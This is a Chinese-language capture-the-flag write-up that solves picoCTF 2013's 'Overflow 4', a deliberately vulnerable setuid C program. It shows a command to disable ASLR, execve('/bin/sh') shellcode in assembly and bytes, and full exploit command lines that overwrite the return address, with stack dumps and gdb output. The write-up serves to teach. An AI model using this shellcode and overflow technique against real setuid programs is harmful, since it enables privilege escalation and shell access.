本片是栈溢出系列的第四篇 overflow4.c
#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" /* * Goal: Get the program to run a shell. */ void vuln(char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 21, (void **) &str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: buffer_overflow_shellcode [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(argv[1]); return 0; }checksec:
CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial可见几乎没有什么保护. 思路: 程序源码中没有涉及到system(“/bin/sh”)函数. 要想获得shell必须靠我们自己注入shellcode, 然后劫持eip,让它去执行我们的shellcode. shellcode的写法我也在学习, 在这里推荐几个方便我们写shellcode的工具: 1.pwntools, 2.metaploits.
方法一: 现在需要两个地址: 一个是buffer start, 另一个是返回值地址. 让返回值地址指向我们的buffer start. 对于本题而言, 由于c源码中已有了打印堆栈的函数, 所以我们能够轻松的找到这两个位置. 但是需要关闭系统的地址随机化功能, 这样返回值地址不会随时变, 测试才能成功. root权限执行下面命令:
echo 0>/proc/sys/kernel/randomize_va_space ./overflow4 $(python -c "print 'A'*64+'B'*4") Stack dump: 0xffffced0: 0xffffd196 (first argument) 0xffffcecc: 0x08048653 (saved eip) 0xffffcec8: 0xffffcef8 (saved ebp) 0xffffcec4: 0xf7eaf100 0xffffcec0: 0x42424242 0xffffcebc: 0x41414141 0xffffceb8: 0x41414141 0xffffceb4: 0x41414141 0xffffceb0: 0x41414141 0xffffceac: 0x41414141 0xffffcea8: 0x41414141 0xffffcea4: 0x41414141 0xffffcea0: 0x41414141 0xffffce9c: 0x41414141 0xffffce98: 0x41414141 0xffffce94: 0x41414141 0xffffce90: 0x41414141 0xffffce8c: 0x41414141 0xffffce88: 0x41414141 0xffffce84: 0x41414141 0xffffce80: 0x41414141 (beginning of buffer) buffer start:0xffffce80 返回值地址 : 0xffffcecc 二者相差76个字节,于是我们的payload=shellcode+'A'(76-len(shellcode))+'\x80\xce\xff\xff'汇编代码:
execve ("/bin/sh") xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; nib/ mov ebx, esp mov al, 11 int 0x80对应的机器码:
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80"机器码才是我们要利用的shellcode. 测试:
./overflow4 $(python -c "print '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'+'A'*55+'\x70\xce\xff\xff'") Stack dump: 0xffffcec0: 0xffffd100 (first argument) 0xffffcebc: 0xffffce70 (saved eip) 0xffffceb8: 0x41414141 (saved ebp) 0xffffceb4: 0x41414141 0xffffceb0: 0x41414141 0xffffceac: 0x41414141 0xffffcea8: 0x41414141 0xffffcea4: 0x41414141 0xffffcea0: 0x41414141 0xffffce9c: 0x41414141 0xffffce98: 0x41414141 0xffffce94: 0x41414141 0xffffce90: 0x41414141 0xffffce8c: 0x41414141 0xffffce88: 0x41414141 0xffffce84: 0x41414180 0xffffce80: 0xcd0bb0e3 0xffffce7c: 0x896e6962 0xffffce78: 0x2f686873 0xffffce74: 0x2f2f6851 0xffffce70: 0xe1f7c931 (beginning of buffer) $成功. 方法二: 不使用程序本身的dump_stack函数, 自己找出buffer start.通过gdb调试找出buffer start 和返回值地址两者相差距离76, 然后退出gdb,运行该程序.
./overflow4 $(python -c "print 'A'*76+'B'*4") Stack dump: 0xffffcec0: 0xffffd100 (first argument) 0xffffcebc: 0x42424242 (saved eip) 0xffffceb8: 0x41414141 (saved ebp) 0xffffceb4: 0x41414141 0xffffceb0: 0x41414141 0xffffceac: 0x41414141 0xffffcea8: 0x41414141 0xffffcea4: 0x41414141 0xffffcea0: 0x41414141 0xffffce9c: 0x41414141 0xffffce98: 0x41414141 0xffffce94: 0x41414141 0xffffce90: 0x41414141 0xffffce8c: 0x41414141 0xffffce88: 0x41414141 0xffffce84: 0x41414141 0xffffce80: 0x41414141 0xffffce7c: 0x41414141 0xffffce78: 0x41414141 0xffffce74: 0x41414141 0xffffce70: 0x41414141 (beginning of buffer) Segmentation fault (core dumped)出现段错误, 此时我们调试其core文件, 出现类似的信息. 说明我们的’B’字符将返回值地址覆盖了.
Core was generated by `./overflow4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x42424242 in ?? () 输入:x/10s $esp-80 0xffffce70: 'A' <repeats 76 times>, "BBBB" 0xffffcec1: "\321\377\377\350\003" 0xffffcec7: "" 0xffffcec8: "\350\003" 0xffffcecb: "" 0xffffcecc: "\353\331\342\367\334\363\372\367<\202\004\bi\206\004\b\350\003" 0xffffcedf: "" 0xffffcee0: "" 0xffffcee1: "\360\372", <incomplete sequence \367> 0xffffcee5: "\360\372", <incomplete sequence \367>由此我们也找到了buffer start的地址.后面的就和方法一一样了. 有同学可能会问: 为什么不通过gdb来找buffer start呢, 很简单的? 这里我引用其他文章的话来回答这个问题
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变 引用地址:http://www.tuicool.com/articles/ZruA7bZ
注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow 4 欢迎大家评论提建议, 有什么问题也可以联系我.
